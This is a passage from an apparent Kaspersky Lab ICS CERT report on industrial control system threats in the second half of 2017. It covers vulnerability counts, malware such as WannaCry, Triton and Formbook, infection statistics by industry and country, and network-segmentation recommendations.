  • SCADA/HMI components (88),
  • networking devices designed for industrial environments (66),
  • PLCs (52),
  • and engineering software (52).

Vulnerable components also include protection relays, emergency shutdown systems, environmental monitoring systems and industrial video surveillance systems.

Distribution of vulnerabilities identified by ICS components

Vulnerabilities in industrial protocols

An important part of ICS software security research in 2017 was identifying serious vulnerabilities in implementations of industrial protocols. Specifically, vulnerabilities were identified in the implementation of the Modbus Protocol in Modicon series controllers (that vulnerability was assigned a CVSS v. 3 base score of 10), as well as in implementations of the OPC UA protocol stack and in an implementation of the PROFINET Discovery and Configuration Protocol. The security issues identified affect entire product families.

Impact of vulnerabilities in ‘traditional’ technologies on industrial systems

In addition to ICS-specific vulnerabilities, a number of serious flaws were identified in H2 2017 in software platforms and network protocols that can be exploited to attack industrial systems.

The vulnerabilities in the WPA2 protocol unexpectedly turned out to be relevant to industrial solutions. They were found to affect equipment from several vendors, including Cisco, Rockwell Automation, Sierra Wireless, ABB and Siemens. Industrial control systems were also affected by multiple vulnerabilities in the Dnsmasq DNS server, Java Runtime Environment, Oracle Java SE, and Cisco IOS and IOS XE.

Vulnerabilities in Intel products can also affect the security of industrial equipment. In the second half of 2017, information on several vulnerabilities in Intel products (ME, SPS and TXE) was published. These vulnerabilities affect mainly SCADA server hardware and industrial computers that use vulnerable CPUs. These include, for example, Automation PC 910 by B&R, Nuvo-5000 by Neousys and the GE Automation RXi2-XP product line. As a rule, vendors do not consider it necessary to release public advisories on vulnerabilities of this type (derived from using third-party technologies). Of course, there are some positive exceptions. For example, Siemens AG has released an advisory stating that these vulnerabilities affect a range of the company’s products. Earlier, the company published information about similar vulnerabilities in Intel technologies affecting its products.

IoT device vulnerabilities

2017 was marked by a growing number of vulnerabilities being identified in internet of things (IoT) devices. As a consequence, such vulnerabilities were increasingly often exploited to create botnets. The activity of three new botnets was uncovered in the last two months of 2017 only. These included the Reaper botnet and new Mirai variants, including the Satori botnet.

Multiple vulnerabilities were identified in Dlink 850L routers, WIFICAM wireless IP cameras, Vacron network video recorders and other devices.

On top of the new IoT device flaws, some old vulnerabilities are still not closed, such as CVE-2014-8361 in Realtek devices and the vulnerability dating back to 2012 that can be exploited to get the configuration of Serial-to-Ethernet converters, including the Telnet password, by sending a request on port 30718. The vulnerability in Serial-to-Ethernet converters directly affects the industrial internet of things (IIoT), since many systems that enable the operators of industrial equipment to remotely control its status, modify its settings and control its operation are based on serial interface converters.

The security of IoT devices is also affected by issues relating to the security of traditional information technology. Specifically, vulnerabilities in implementations of the Bluetooth protocol led to the emergence of the new attack vector, BlueBorne, which poses a threat to mobile, desktop and IoT operating systems.

Vulnerabilities identified by Kaspersky Lab ICS CERT

In 2017, Kaspersky Lab ICS CERT experts not only analyzed the security issues associated with different vendors’ ICS components, but also focused on the common ICS components, platforms and technologies used in different vendors’ solutions. This type of research is important because vulnerabilities in such components significantly increase the number of potential attack victims. Research in this area continues in 2018.

Number of vulnerabilities identified

Based on its research, Kaspersky Lab ICS CERT identified 63 vulnerabilities in industrial and IIoT/IoT systems in 2017.

Distribution of vulnerabilities identified by Kaspersky Lab ICS CERT in 2017
by types of components analyzed

Every time we identified a vulnerability, we promptly notified the respective product’s vendor.

Number of CVE entries published

During 2017, 11 CVE entries were published based on information about vulnerabilities identified by Kaspersky Lab ICS CERT. It should be noted that some of these CVE entries were published after vendors closed vulnerabilities information on which had been provided to them in 2016.

Information on other vulnerabilities identified by Kaspersky Lab ICS CERT experts will be published after these vulnerabilities are closed by the respective vendors.

Capabilities provided by the vulnerabilities identified

The largest number of vulnerabilities identified (29) could allow an attacker to cause denial of service (DoS) remotely. 8% of the vulnerabilities identified could allow an attacker to execute arbitrary code remotely on the target system.

Distribution of vulnerabilities identified by Kaspersky Lab ICS CERT in 2017
by capabilities provided

Vulnerabilities in ICS components

In 2017, Kaspersky Lab ICS CERT experts identified 30 vulnerabilities in ICS products from different vendors. These are mainly large automation system vendors, such as Schneider Electric, Siemens, Rockwell Automation, Emerson, and others.

Severity ratings of the vulnerabilities identified

To assess the severity of vulnerabilities identified in ICS components, Kaspersky Lab ICS CERT used its own vulnerability rating system based on the metrics defined in CVSS v3.0 (Common Vulnerability Scoring System) standard, with the following vulnerability severity levels identified:

  • least severe: CVSS v3.0 base score of 5.0 or less,
  • medium severity: CVSS v3.0 base score of 5.1 to 6.9 (inclusive),
  • most severe: CVSS v3.0 base score of 7.0 or more.

The absolute majority of vulnerabilities identified are in the most severe group. These include the XXE vulnerability in industrial solutions that use the Discovery Service of the OPC UA protocol stack.

Vulnerabilities in OPC UA implementations

One of the research areas involved searching for vulnerabilities in different implementations of the OPC UA technology. This type of research is needed to improve the overall security level of products from different vendors that use the technology in their solutions. Vulnerabilities in such technologies are a Swiss army knife of sorts for attackers, enabling them to hack industrial systems from different vendors.

A total of 17 critical denial-of-service vulnerabilities were identified during the period.

Some of the vulnerabilities were identified in sample software implementations of various OPC UA functions available in the official Github repository. In the process of communicating to several vendors of industrial automation systems, we found out that many of them had used code from such samples in their product code. This means that the vulnerabilities identified may affect complete product lines from different vendors.

Vulnerabilities in third-party hardware-based and software solutions

Kaspersky Lab ICS CERT experts have also analyzed third-party hardware-based solutions that are widely used in industrial automation systems.

Specifically, experts analyzed the SafeNet Sentinel hardware-based solution by Gemalto. As a result of the research, 15 vulnerabilities were identified in the software part of the solution (11 in December 2016 and 4 in 2017). These flaws affect a large number of products that use the vulnerable software, including solutions by ABB, General Electric, HP, Cadac Group, Zemax and other software developers, the number of which may reach 40 thousand, according to some estimates.

Vulnerabilities in internet of things (IoT and IIoT) components

Another area of research was the assessment of the information security status of internet of things (IoT), components, including industrial internet of things (IIoT) components.

Kaspersky Lab experts are working with vendors to improve the security of their solutions with respect to 11 vulnerabilities identified. Vulnerabilities were found in the following components and solutions:

  • smart cameras,
  • hardware-based IIoT solutions.

It should be noted that vulnerabilities in implementations of OPC UA standards, which are discussed above, also directly affect IIoT security.

Vulnerabilities in industrial routers

In the past year, 18 vulnerabilities were identified in industrial networking equipment from different vendors. Typical vulnerabilities: information disclosure, privilege escalation, arbitrary code execution, denial of service.

Working with software vendors

With respect to information on the vulnerabilities identified, Kaspersky Lab follows the principle of responsible information disclosure, promptly reporting vulnerabilities to the respective software vendors.

In 2017, Kaspersky Lab ICS CERT researchers actively collaborated with various companies to ensure that the vulnerabilities identified would be closed.

Of the 63 vulnerabilities identified by Kaspersky Lab ICS CERT in 2017, vendors closed 26. Vulnerabilities were closed by Siemens, General Electric, Rockwell Automation, Gemalto and the OPC Foundation industrial consortium.

It should be noted that most vendors of software for industrial automation systems that we have worked with have lately been devoting much more care and resources to the task of closing the vulnerabilities identified and fixing information security issues in their products, including their earlier versions.

At the same time, the issue of closing vulnerabilities in industrial automation systems remains relevant. In many cases, it takes large vendors a long time to close vulnerabilities in their products. Sometimes software vendors decide to patch only new versions of a vulnerable product, which they are planning to release in the future.

In addition, some vendors still need to improve the organizational and technical aspects of the procedures they use to inform customers about the vulnerabilities patched. Even after an update has been released, many users are unaware of the relevant security issue and use vulnerable versions of the product. This is particularly important for embedded software, as well as the technologies and specific program modules used by numerous third-party vendors (one example can be found here).

Positive examples include Siemens and the OPC Foundation, which have quickly closed the vulnerabilities identified and released public advisories on existing vulnerabilities.

Malware in industrial automation systems

As we have mentioned before, many industrial companies use modern networking technologies that improve the transparency and efficiency of enterprise management processes, as well as providing flexibility and fault tolerance for all tiers of industrial automation. As a result, industrial networks are increasingly similar to corporate networks – both in terms of use case scenarios and in terms of the technologies used. The unfortunate flip side of this is that internet threats, as well as other traditional IT threats, increasingly affect the industrial networks of modern organizations.

In the second half of 2017, Kaspersky Lab security solutions installed on industrial automation systems detected over 17.9 thousand different malware modifications from about 2.4 thousand different malware families.

Accidental infections

In the vast majority of cases, attempts to infect ICS computers are accidental and are not part of targeted attacks. Consequently, the functionality implemented in malware is not specific to attacks on industrial automation systems. However, even without ICS-specific functionality, a malware infection can have dire consequences for an industrial automation system, including an emergency shutdown of the industrial process. This was demonstrated by the WannaCry outbreak in May 2017, when several enterprises in different industries had to suspend their industrial processes after being infected with the encryption malware. We wrote about encryption malware-related threats in our previous report and several articles (see here and here).

Unexpected consequences of the WannaCry outrbreak

It is important to note that some IT threats can do much more significant harm in an industrial network than in an office network. To demonstrate this, we look at two incidents investigated by the Kaspersky Lab ICS-CERT team.

In H2 2017, we were approached by several industrial enterprises at once, where mass infections of industrial networks with WannaCry encryption malware had been detected. It was later determined that the initial infections of office networks at the victim companies had in all the cases taken place back in the first half of 2017, at the height of the WannaCry outbreak. However, the infections were not noticed until the malware propagated to the enterprises’ industrial networks. As it turned out during investigation, encryption functionality in the malware samples was damaged and the infected systems on corporate networks continued to operate normally, without any failures. However, the infection of industrial networks in these cases had unexpected negative consequences.

At one of the enterprises infected by WannaCry, the workstations used by operators started to bring up the Blue Screen of Death all the time, leading to emergency reboots. The reason for this unexpected consequence of infection was that the machines ran Windows XP. It is a well-known fact that the DoublePulsar exploit used by WannaCry to propagate causes WindowsXP to crash, resulting in a Blue Screen of Death and a reboot. In cases when numerous machines in the industrial segment of an organization’s network are infected, WindowsXP machines are often attacked and go into emergency reboots. As a result, operators are rendered incapable of monitoring and controlling the industrial process. This makes WannaCry a denial-of-service attack tool of sorts.

In another incident, the propagation of WannaCry caused some of the devices on an enterprise’s industrial network to become temporarily unavailable during periods when the network activity of the malware coincided with certain stages in the industrial process. This resulted in emergency interruptions of an industrial process that was critical for the enterprise for an average of 15 minutes.

Cryptocurrency miners in industrial network infrastructure

According to Kaspersky Lab ICS CERT data, cryptocurrency mining programs attacked 3.3% of industrial automation system computers during the period from February 2017 to January 2018.

Up to August 2017, the percentage of ICS computers attacked by cryptocurrency miners did not exceed 1%. This figure grew in September and did not go back to less than 1% for the rest of 2017. In October, cryptocurrency miner attacks against ICS computers peaked, with 2.07% of ICS computers being attacked.

Percentage of ICS computers attacked by cryptocurrency mining malware

Like other malware infecting systems at industrial enterprises, cryptocurrency miners can pose a threat to industrial process monitoring and control. In the process of its operation, malware of this type creates a significant load on the computer’s computational resources. An increased load on processors can negatively affect the operation of the enterprise’s ICS components and threaten their stability.

According to our assessments, in most cases cryptocurrency miners infect ICS computers accidentally. There is no reliable information on machines that are part of the industrial network infrastructure being infected as a result of targeted attacks the goal of which is to mine cryptocurrencies, with the exception of cases when miners are installed by unscrupulous employees of victim enterprises. The cryptocurrency mining malware typically enters the industrial network infrastructure from the internet or, less commonly, from removable media or network shares.

Sources of ICS computer infections with cryptocurrency miners
Percentage of systems attacked, February 2017 – January 2018

Cryptocurrency miners have infected numerous websites, including those of industrial companies. In such cases, cryptocurrencies are mined on the systems of users who visit infected web resources. This technique is called cryptojacking.

Screenshot showing a fragment of code found on a web resource infected with mining malware

Botnet agents in the industrial network infrastructure

In most cases, the functionality of botnet agents includes searching for and stealing financial information, stealing authentication data, brute forcing passwords, sending spam, as well as conducting attacks on specified remote internet resources, including denial-of-service (DDoS) attacks. In addition, in cases where a botnet agent attacks third-party resources (such cases have been detected), the companies that own the IP addresses from which the attacks are launched may face certain reputational risks.

Although the destructive activity of botnet agents is not specifically designed to disrupt the operation of any industrial system, an infection with this type of malware may pose a significant threat to a facility that is part of the industrial infrastructure. Malware of this type can cause network failures, denial of service (DoS) of the infected system and other devices on the network. It is also common for malware to contain errors in its code and/or be incompatible with software used to control the industrial infrastructure, potentially resulting in the disruption of industrial process monitoring and control.

Another danger associated with botnet agents is that malware of this type often includes data collection functionality and, like backdoor malware, enables the attackers to control the infected machine surreptitiously. System data collected by bots by default is sufficient for accurately identifying the company that owns the system and the type of the infected system. What’s more, access to machines infected with botnet agents is often put up for sale at specialized exchanges on the Darknet. Consequently, threat actors interested in infected industrial control systems can gain access to a victim company’s sensitive data and/or systems used to control the industrial infrastructure.

In 2017, 10.8% of all ICS systems were attacked by botnet agents. Moreover, botnet agent attack statistics show that 2% of ICS systems were attacked by several malicious programs of this type at once.

Percentage of ICS computers attacked by botnet agents in 2017

The main sources of botnet agent attacks on ICS systems in 2017 were the internet, removable media and email messages.

Sources of ICS infection with botnet agents, percentage of ICS computers attacked, 2017

This once again demonstrates the need for access control to ensure that information is exchanged securely between an enterprise’s industrial network and other networks, as well as the need to block unauthorized removable media from connecting to ICS systems and to install tools designed to detect and filter malicious objects from email messages.

Top 5 botnet agent most commonly found on ICS systems in 2017,
percentage of ICS computers attacked

Nearly two percent of all systems analyzed were attacked with Virus.Win32.Sality malware. In addition to infecting other executable files, this malware includes the functionality of resisting antivirus solutions and downloading additional malicious modules from the command-and-control server. The most widespread Sality modules are components for sending spam, stealing authentication data stored on the system and downloading and installing other malware.

The Dinihou botnet agent, which attacked 0.9% of ICS systems analyzed, is in second position. The malware includes functionality that enables the attackers to upload an arbitrary file from an infected system, creating the threat of sensitive data leaks for victim organizations. In addition, both Worm.VBS.Dinihou and Virus.Win32.Nimnul, which is in third place with 0.88%, can be used to download and install other malware on infected systems.

Most modifications of Trojan.Win32.Waldek are distributed via removable media and include functionality to collect information on infected systems and send it to the attackers. Based on the system data collected, the attackers create packages of additional malware to be installed on the infected system using the relevant Waldek functionality.

The fifth position is taken up by Backdoor.Win32.Androm, which ranked highest based on the number of attacks on ICS systems in H2 2016. The malware provides the attackers with a variety of information on the infected system and enables them to download and install modules for performing destructive activities, such as stealing sensitive data.

Targeted attacks

2017 saw the publication of information on two targeted attacks on systems that are part of the industrial infrastructure – Industroyer and Trisis/Triton. In these attacks, for the first time since Stuxnet, threat actors created their own implementations of industrial network protocols, gaining the ability to communicate with devices directly.


In December 2017, researchers reported discovering previously unknown malware that targeted critical infrastructure systems. The discovery was made as a result of investigating an incident at an unnamed industrial enterprise. The malicious program was dubbed Triton or Trisis.

The malware is a modular framework that can automatically find Triconex Safety Controllers on the enterprise network, get information on their operating modes and plant malicious code on these devices. Trisis/Triton embeds a backdoor in the device’s firmware, enabling the attackers to remotely read and modify not only the code of the legitimate control program, but also the code of the compromised Triconex device’s firmware. With such capabilities, attackers can do serious damage to the enterprise’s industrial process. The least harmful of possible negative consequences is the system’s emergency shutdown and interruption of the industrial process. It was this type of event that caused a victim organization to launch an investigation, which resulted in the attack being detected.

It remains unknown how the attackers penetrated the enterprise’s infrastructure. What is known is that they must have been inside the compromised organization’s network for a sufficiently long time (several months) and used legitimate software and ‘dual-use’ utilities for lateral movement and privilege escalation.

Although the attack was designed to modify code on Triconex devices, the code that the attackers were apparently trying to inject in the last stage of the attack has never been found, so it is currently impossible to determine the final objective of the attack.

Spear phishing — Formbook spyware

Spear phishing attacks on industrial organizations continued in the second half of 2017. We have already written about spear phishing used by threat actors in Business Email Compromise (BEC) attacks. Compared to attacks described earlier, the attackers’ tactics have not changed significantly. However, in addition to known Trojan-Spy malware sent in phishing emails to global industrial and energy companies (FareIT, HawkEye, ISRStealer, etc.), a new representative of this malware class – Formbook – gained popularity in the second half of 2017.

Formbook attacks involve sending phishing emails with malicious Microsoft Office documents attached. To download and install malware on target systems, these documents exploit the CVE-2017-8759 vulnerability or use macros. Some phishing emails include attached archives of different formats containing the malicious program’s executable file. Examples of attached file names:

  • RFQ for Material Equipment for Aweer Power Station H Phase IV.exe
  • Scanned DOCUMENTS & Bank Details For Confirmation.jpeg (Pages 1- 4) -16012018. jpeg.ace
  • PO & PI Scan.png.gz
  • zip
  • shipping receipts.ace

Sample phishing email used to distribute Formbook

In terms of implementation and the techniques used to obfuscate the code and encrypt the payload, Formbook differs from its ‘peers’ in that its functionality is more extensive. In addition to standard spyware features, such as making screenshots, capturing keypresses and stealing passwords stored in browsers, Formbook can steal sensitive data from HTTP/HTTPS/SPDY/HTTP2 traffic and web forms. Additionally, the malware implements remote system control functionality and uses an unusual technique to resist the analysis of network traffic. The Trojan generates a set of URLs to which it is going to connect, using a list of legitimate domains stored in its body. It then adds one URL for its command-and-control server. In this way, the malware attempts to mask its connections to the malicious domain by sending numerous requests to legitimate resources, making its detection and analysis more difficult.

Threat statistics

All statistical data used in this report was collected using the Kaspersky Security Network (KSN), a distributed antivirus network. The data was received from those KSN users who gave their consent to have data anonymously transferred from their computers. We do not identify the specific companies/organizations sending statistics to KSN, due to the product limitations and regulatory restrictions.


The data was received from ICS computers protected by Kaspersky Lab products that Kaspersky Lab ICS CERT categorizes as part of the industrial infrastructure at organizations. This group includes Windows computers that perform one or several of the following functions:

  • supervisory control and data acquisition (SCADA) servers,
  • data storage servers (Historian),
  • data gateways (OPC),
  • stationary workstations of engineers and operators,
  • mobile workstations of engineers and operators,
  • Human Machine Interface (HMI).

The statistics analyzed also include data received from computers of industrial control network administrators and software developers who develop software for industrial automation systems.

For the purposes of this report, attacked computers are those on which our security solutions have been triggered at least once during the reporting period. When determining percentages of machines attacked, we use the ratio of unique computers attacked to all computers in our sample from which we received anonymized information during the reporting period.

ICS servers and stationary workstations of engineers and operators often do not have full-time direct internet access due to restrictions specific to industrial networks. Internet access may be provided to such computers, for example, during maintenance periods.

Workstations of system/network administrators, engineers, developers and integrators of industrial automation systems may have frequent or even full-time internet connections.

As a result, in our sample of computers categorized by Kaspersky Lab ICS CERT as part of the industrial infrastructure of organizations, about 40% of all machines have regular or full-time internet connections. The remaining machines connect to the Internet no more than once a month, many less frequently than that.

Percentage of computers attacked

In the second half of 2017, Kaspersky Lab products blocked attempted infections on 37.8% of ICS computers protected by them, which is 0.2 percentage points more than in the first half of 2017 and 1.4 percentage points less than in the second half of 2016.

June – August 2017 saw a decline in the number of attacked computers. However, in September there was a notable increase in cybercriminal activity, with the proportion of attacked machines rising to 20% and not falling below that level again for the rest of the year.

Percentage of ICS computers attacked globally by month, 2017

When comparing these values with the same period in 2016, we see that the July numbers are practically identical. However, for all other months the percentage of attacked machines in 2016 was higher than in 2017.

Percentage of ICS computers attacked globally by month, H2 2017 vs H1 2016

A certain decrease in the percentage of computers attacked can be attributed to several factors. It is likely that one has to do with industrial enterprises paying more attention to the security of industrial segments on their networks. According to our experts’ assessments, changes for the better may be largely due to simple measures: enterprises have begun to conduct audits of the industrial segments of their networks, train employees in the principles of cyber-hygiene, more properly differentiate access rights between the corporate and the industrial segments of their network, etc.

Percentage of ICS computers attacked in different industries

According to our assessment, medium-size and large companies with mature IT security processes tend to use Kaspersky Lab corporate solutions (mainly Kaspersky Industrial CyberSecurity and Kaspersky Endpoint Security) to safeguard their ICS infrastructure. Many smaller organizations and individual engineers, along with companies whose IT and OT cybersecurity still leaves much to be desired, may rely on Kaspersky Lab consumer solutions to protect their ICS computers. The percentage of such computers attacked by malware during the reporting period is significantly higher compared to the corresponding figures for computers protected by corporate products.

We intentionally excluded statistics coming from our consumer solutions when analyzing attacks on industrial facilities in different industries, using only telemetry data coming from Kaspersky Lab products for corporate users. This resulted in lower average attacked computers percentage values than for the rest of the analysis results presented in this report, where both Kaspersky Lab corporate and consumer product statistics were used.

Percentage of ICS computers attacked in different industries*, H2 2017 vs H1 2017

*In this report, unlike our previous reports, we calculated the percentage of attacked ICS computers for each industry (the percentage of ICS computers attacked in an industry to all ICS computers in that industry).

In previous reports, we included the distribution of attacked ICS computers by industry (the percentage of computers attacked in a given industry to all attacked computers in our sample).

According to statistics on attacks against facilities in different industries, nearly all industries demonstrate similar percentages of attacked ICS computers, which are in the range from 26 to 30 percent. We believe this may be due to the similarity of ICS architectures used to automate industrial processes at enterprises in various industries and, possibly, similarities in the processes used by enterprises to exchange information with external entities and inside the enterprises themselves.

Two industries were attacked more than others during the reporting period: the figures for Energy (38.7%) and Engineering & ICS Integrators (35.3%) are above 35%.

We believe that the high percentage of attacked ICS systems in the energy sector may be explained, on the one hand, by the greater network connectivity of electric power sector facilities (compared to facilities in other industries) and, on the other hand, perhaps by the fact that, on average, more people have access to the industrial control systems of energy sector facilities that to those at enterprises in other industries.

The supply chain attack vector has infamously been used in some devastating attacks in recent years, which is why the high percentage of attacked ICS computers in Engineering and ICS Integration businesses is a problem that is serious enough to be noticed.

The only industry whose figures showed a significant growth in the six months (+ 5.2 p.p.) is Construction (31.1%). The reason for the high percentage of ICS computers attacked in construction organizations could be that, for enterprises in the industry, industrial control systems often perform auxiliary functions, were introduced a relatively short time ago and are consequently at the periphery of company owners’ and managers’ attention. The upshot of this may be that objectives associated with protecting these systems from cyberthreats are regarded as having a relatively low priority. Whatever the reason for the high percentage of attacks reaching industrial control systems in construction and engineering, the fact seems sufficiently alarming. Construction is known to be a highly competitive business and cyberattacks on industrial organizations in this industry can be used as a means of unfair competition. So far, cyberattacks have been used in the construction industry mainly for purposes associated with the theft of commercial secrets. Infecting industrial control systems may provide threat actors with a new weapon in their fight against competitors.

The three least attacked industries are Mining (23.5%), Logistic & Transportation (19.8%) and ICS Software Development (14.7%).

ICS vendor infections might be very dangerous, because the consequences of an attack, spread over the infected vendor’s partner ecosystem and customer base, could be dramatic, as we saw in the recent wide-scale incidents, such as the exPetr malware epidemic.

This report includes information on ICS computers at educational facilities. These figures include not only ICS systems used in demonstration stands and labs performing instructional and research functions, but also in industrial automation systems of various facilities that are part of the infrastructure of educational establishments, such as power supply systems (including power generation and distribution), utilities, etc., as well as ICS used in pilot production facilities.

The figure for educational establishments can be regarded as representing the “background level” of accidental threats affecting ICS systems, considering systems at educational establishments to be as insecure as such systems can get. This is because ICS systems at educational establishments are usually connected to the respective organizations’ general-purpose networks and are less isolated from the outside world than the systems of industrial facilities.

At the same time, we believe that attacks on ICS systems at educational establishments can also pose a significant threat to enterprises in different real-sector industries – primarily because universities/colleges maintain working contacts and engage in collaboration with industrial enterprises. This includes joint research labs, engineering and development centers, personnel training and career development centers, etc.

In addition, such ICS systems can be used by attackers to test and debug malicious code and refine attacks against real-sector enterprises.

Education demonstrates the greatest difference between the H1 and H2 percentages of ICS systems attacked. The high figure for H1 was due to the large number of internet-borne attacks, as well as attacks by malware belonging to the Trojan.Multi.Powercod family. That malware uses techniques that are similar to those described by our colleagues here. In H1 2017, 9.8% of ICS computers in educational establishments from our sample were attacked by Powercod Trojans. In H2, the corresponding figure was 0.7%.

Sources of industrial automation system infection

Main sources of threats blocked on ICS computers,
percentage of ICS computers attacked, H2 2017 vs H1 2017

In the second half of 2017, most of the numbers for the main infection sources remained at H1 2017 levels.

For computers that are part of the industrial infrastructure, the internet remains the main source of infection. Contributing factors include interfaces between corporate and industrial networks, availability of limited internet access from industrial networks, and connection of computers on industrial networks to the internet via mobile phone operator networks (using mobile phones, USB modems and/or Wi-Fi routers with 3G/LTE support). Contractors, developers, integrators and system/network administrators that connect to the control network externally (directly or remotely) often have unrestricted internet access. Their computers are in the highest-risk group and can be used by malware as a channel for penetrating the industrial networks of the enterprises they serve. As we mentioned above, about 40% of computers in our sample connect to the internet on a regular basis. It should be noted that, in addition to malicious and infected websites, the “Internet” category includes phishing emails and malicious attachments opened in web-based email services (in browsers).

Experts from Kaspersky Lab ICS-CERT note that malicious programs and scripts built into email message bodies are often used in targeted attacks on industrial enterprises. In most cases, the attackers distribute emails with malicious attachments in office document formats, such as Microsoft Office and PDF, as well as archives containing malicious executable files.

There has also been a 1.7 p.p. decrease in the proportion of threats detected while scanning removable media. This is an important indicator, because such devices are often used to transfer information in industrial networks.

The other figures did not change appreciably.

Classes of malware

Malware classes, percentage of ICS computers attacked, H2 2017

Trojan malware, which is designed to penetrate the systems being attacked, deliver and launch other malware modules, remains relevant to ICS computers. The malicious code of o these programs was most commonly written in scripting languages (Javascript, Visual Basic Script, Powershell, AutoIt in the AutoCAD format) or took the form of Windows shortcuts (.lnk) that pointed to the next malicious modules.

These Trojans most often tried to download and execute the following malware as main modules:

  • spyware Trojans (Trojan-Spy and Trojan-PSW)
  • ransomware (Trojan-Ransom)
  • backdoors (Backdoor)
  • remote administration tools installed without authorization (RAT)
  • Wiper type programs (KillDisk) designed to delete (wipe) data on the hard drive and render the computer unusable

Malware infections of computers on an industrial network can result in the loss of control or the disruption of industrial processes.

Platforms used by malware

In the second half of 2017, we saw a significant increase in the percentage of ICS computers affected by malware written for the JavaScript platform.

Platforms used by malware, percentage of ICS computers attacked, H2 2017 vs H1 2017

The main reason for growing figures for the JavaScript platform is the increase in the number of phishing emails that include a loader for Trojan-Ransom.Win32.Locky.

In the latest versions of such emails, the attackers used a fax-received notification template.

The phishing emails include an attachment – an obfuscated loader written in JavaScript and designed to download and execute the main malicious module from servers controlled by the attackers.

It is important to note that threat actors often attack legitimate websites in order to host malware components on these sites. Threat actors do this to hide malicious traffic behind legitimate domains to mask the traces of an attack.

Cryptocurrency miners also made a small contribution to the increase in the share of the JavaScript platform – both the versions for browsers and the script-based loaders of miners for the Windows platform.

Geographical distribution of attacks on industrial automation systems

The map below shows the percentages of industrial automation systems attacked to the total number of such systems in each country.

Geographical distribution of attacks on industrial automation systems, H2 2017
Percentage of attacked ICS computers in each country

TOP 15 countries by percentage of ICS computers attacked:

Country* % of systems attacked 1 Vietnam 69.6 2 Algeria 66.2 3 Morocco 60.4 4 Indonesia 60.1 5 China 59.5 6 Egypt 57.6 7 Peru 55.2 8 Iran 53.0 9 India 52.4 10 Kazakhstan 50.1 11 Saudi Arabia 48.4 12 Mexico 47.5 13 Russia 46.8 14 Malaysia 46.7 15 Turkey 44.1

*Countries in which the number of ICS computers monitored by Kaspersky Lab ICS CERT was insufficient to obtain representative data sets were excluded from the ranking.

The Top 5 has remained unchanged since H1 2017.

The least affected countries in this ranking are Israel (8.6%), Denmark (13.6%), the UK (14.5%), the Netherlands (14.5%), Sweden (14.8%) and Kuwait (15.3%).

Egypt has moved from ninth place to sixth – the percentage of attacked ICS machines in that country grew by 6.1 p.p. This is the most significant growth among all countries of the world. Internet threats accounted for most of the growth in the percentage of attacked ICS computers in Egypt. Among the internet threats detected, the most common were sites infected with script-based cryptocurrency miners and attempts to download malware by following URL links.

Main sources of threats blocked on ICS computers in Egypt
percentage of ICS computers attacked, H2 2017 vs H1 2017

Malware distributed via removable media is also a real problem for many ICS in Egypt. Malware loaders distributed on removable media are disguised as existing user files on the removable drive, increasing the chances of a successful attack.

Examples of names used for loaders of malware distributed via removable media that were blocked on ICS computers in Egypt in H2 2017

In most cases, the loaders that we detected were designed to launch the malware module responsible for infecting the system, including downloading the main module, infecting removable media and network shares and propagating via email/instant messengers to an existing list of contacts.

Malicious code for the AutoIt platform, launched by a malicious .lnk loader
blocked on an ICS computer in Egypt in H2 2017

In Russia during H2 2017, 46.8% of ICS computers were attacked at least once – a 3.8 p.p. rise on H1 2017. This saw Russia move up from 21st to 13th.

The proportions of attacked ICS machines vary greatly between different regions of the world.

Percentage of ICS systems attacked in regions of the world, H2 2017 vs H1 2017

All regions can be assigned to one of three groups according to the percentage of attacked ICS machines:

  1. Proportion of attacked ICS systems below 30%. This group includes North America and Europe, where the situation looks the most peaceful. Kaspersky Lab ICS CERT specialists say this does not necessarily mean that industrial enterprises in these regions are less frequently attacked by cybercriminals; rather, it could be that more attention is paid to ensuring information security at industrial enterprises in these regions, which results in fewer attacks reaching their targets.
  2. Proportion of attacked ICS systems between 30% and 50%. This group includes Latin America, Russia and the Middle East.
  3. Proportion of attacked ICS systems above 50%. The situation is most acute in Africa and the Asia-Pacific region.

It should be noted that values may differ significantly between countries within the same region. This may be due to different practices and approaches to ICS information security in those countries.

In particular, the Asia-Pacific region includes Vietnam with the highest global proportion of attacked ICS systems (69.6%) alongside countries such as Japan (25%), Australia (24.1%) and Singapore (23.2%), where figures did not exceed 25%.

Percentage of attacked ICS computers in Asia-Pacific countries, H2 2017 vs H1 2017

In Europe, Denmark’s score (13.6%) was not only the lowest in the region but also one of the lowest globally, while the proportions of attacked ICS systems in Belarus (41%), Portugal (42.5%) and Ukraine (41.4%) were all above 40%.

Percentage of attacked ICS computers in Europe, H2 2017 vs H1 2017

Let’s now look at the sources of attacks that affected ICS systems in different regions.

Main sources of threats blocked on ICS computers in different regions, H2 2017

In all regions of the world, the internet remains the main source of attacks. However, in Europe and North America, the percentage of blocked web-borne attacks is substantially lower than elsewhere. This may be because most enterprises operating in those regions adhere to information security standards. In particular, internet access is restricted on systems that are part of industrial networks. The situation is similar for infected removable devices: the highest numbers are seen in Africa and the Asia-Pacific region, while the lowest are in Europe and North America. These figures also reflect the level of compliance with information security standards and, in particular, whether restrictions are in place to prevent the connection of unauthorized removable media to industrial infrastructure systems.

Curiously, in spite of the sufficiently high overall percentage of attacks that reached ICS systems, the percentages of ICS computers attacked via removable media and email clients in Russia were relatively small – 4.4% and 1.4% respectively. One possible explanation is that risks associated with these attack vectors are largely mitigated through organizational measures, as well as removable media and email handling practices established at industrial enterprises. This interpretation is reassuring, since removable media and email are often used as penetration vectors in sophisticated targeted and APT attacks.

For countries of the Middle East, email was a significant (5%) source of infection, with the region leading the ranking based on this parameter.

Our recommendations

To prevent accidental infections in industrial networks, we recommend taking a set of measures designed to secure the internal and external perimeters of these networks.

This includes, first and foremost, measures required to provide secure remote access to automation systems and secure transfer of data between the industrial network and other networks that have different trust levels:

  • Systems that have full-time or regular connections to external networks (mobile devices, VPN concentrators, terminal servers, etc.) should be isolated into a separate segment of the industrial network – the demilitarized zone (DMZ);
  • Systems in the demilitarized zone should be divided into subnets or virtual subnets (VLAN), with restricted access between subnets (only the communications that are required should be allowed);
  • All the necessary communication between the industrial network and the outside world (including the enterprise’s office network) should be performed via the DMZ;
  • If necessary, terminal servers that support reverse connection methods (from the industrial network to the DMZ) can be deployed in the DMZ;
  • Thin clients should be used whenever possible to access the industrial network from the outside (using reverse connection methods);
  • Access from the demilitarized zone to the industrial network should be blocked;
  • If the enterprise’s business processes are compatible with one-way communication, we recommend that you consider using data diodes.

The threat landscape for industrial automation systems is continually changing, with new vulnerabilities regularly found both in application software and in industrial software. Based on the threat evolution trends identified in H2 2017, we recommend placing special emphasis on the following security measures:

  • Regularly updating the operating systems, application software and security solutions on systems that are part of the enterprise’s industrial network;
